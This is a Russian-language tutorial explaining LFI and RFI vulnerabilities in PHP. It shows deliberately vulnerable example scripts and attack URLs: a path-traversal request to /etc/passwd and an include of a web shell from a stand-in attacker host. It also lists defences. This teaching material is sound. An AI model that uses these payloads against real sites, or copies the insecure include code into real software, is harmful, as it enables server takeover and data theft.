



RFI И LFI

LOCAL FILE INCLUDE

Local File Include (LFI) - это подключение, выполнение или чтение локальных файлов на сервере.

Что это такое

LFI - это возможность использования локальных системных файлов сервера.

Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере, в том числе содержащую конфиденциальную информацию.

Что это такое

LFI возникает в случае, когда проверка входящих данных и параметров в коде сайта отсутствует или недостаточна.

Возможность эксплуатации LFI возникает из-за грубейших ошибок разработки сайта, отсутствия фильтрации передающих параметров, а также некорректной настройки сервера.

Пример уязвимого LFI (Local file include) PHP скрипта

Файл <http://vulnserver.com/vuln.php>

<?

```
$filename = (string)$_GET['filename'];  
$filename .= '.txt';  
if (file_exists($filename)) {  
    echo htmlspecialchars(file_get_contents($filename)); }  
else {  
    echo "Error!";  
}
```

?>

Вызов скрипта:

<http://vulnserver.com/vuln.php?filename=../../etc/passwd%00>

Результат

Атакующий получает конфиденциальные данные с системных и конфигурационных файлов

Векторов эксплуатации и развития LFI атак множество. В большинстве случаев дело заканчивается взломом сайта.

Нередко такой взлом сайта остается незамеченным для администратора ресурса.

Защита от LFI (Local file include)

Фильтрация параметров, передающих данные.

Фильтрация или экранирование нулевого байта (%00).

Проверка валидности запросов, серверного пути.

RFI

Remote File Inclusion (RFI) - это выполнение удаленных файлов на серверной стороне. Проще говоря, у нас есть сервер, возвращающий с каким-то запросом код программы, который будет открыт и запущен на сервере-жертве.

Что это такое

Возможность выполнения удаленного файла на атакуемом сервере в 100% случаев приводит к взлому сайта.

Эксплуатируя RFI уязвимость, злоумышленник получает доступ к серверу атакуемого сайта, размещая на нем веб-шеллы, или любой другой вредоносный код. В большинстве случаев, RFI сразу используется для получения веб-шелла на атакуемом сервере.

Что это такое

RFI - позволяет злоумышленнику выполнить удаленный файл, через скрипт, выполняемый на сервере. RFI возникает, когда входящие данные в коде сайта не проходят должную проверку.

Возможность эксплуатации RFI возникает из-за грубейших ошибок разработки сайта, отсутствия фильтрации передающих параметров, отсутствие проверки серверного пути.

Пример уязвимого RFI (Remote file include) PHP скрипта:

Форма Файла <http://vulnserver.com/vuln.html>

```
<form метод="GET">
```

```
  <select name="color">
```

```
    <option color="red">красный</option>
```

```
    <option color="blue">синий</option>
```

```
  </select>
```

```
  <input type="submit">
```

```
</form>
```

Пример уязвимого RFI (Remote file include) PHP скрипта:

Файл <http://vulnserver.com/vuln.php>

```
<?
    $color = "blue";
    if (isset( $_GET[color] ) )
    {
        $color = $_GET[color];
        include( $color . '.php' );
    }
?>
```

Вызов скрипта:

http://vulnserver.com/vuln.php?color=http://devil_site.com/shellcode.php

Результат

Выполнение веб-шелла на атакуемом сервере.

Разработчик сайта предполагает в качестве опции использовать только свои файлы blue.php и red.php

Злоумышленник, воспользовавшись уязвимостью в коде сайта, выполняет свой файл (шелл - код) на сервере жертвы, со своего сервера, получая полный доступ к атакуемому сайту.

Нередко такой взлом сайта остается незамеченным для владельца и администратора ресурса/

Уязвимость RFI на сайте - это максимальная угроза для его безопасности.

Защита от RFI

Фильтрация параметров, передающих данные в `include()`; `include_once()`; и т.д.

Отключение директивы `allow_url_include` в конфигурации `php` (если это возможно, и не нарушает работу сайта).

Проверка валидности запросов, серверного пути.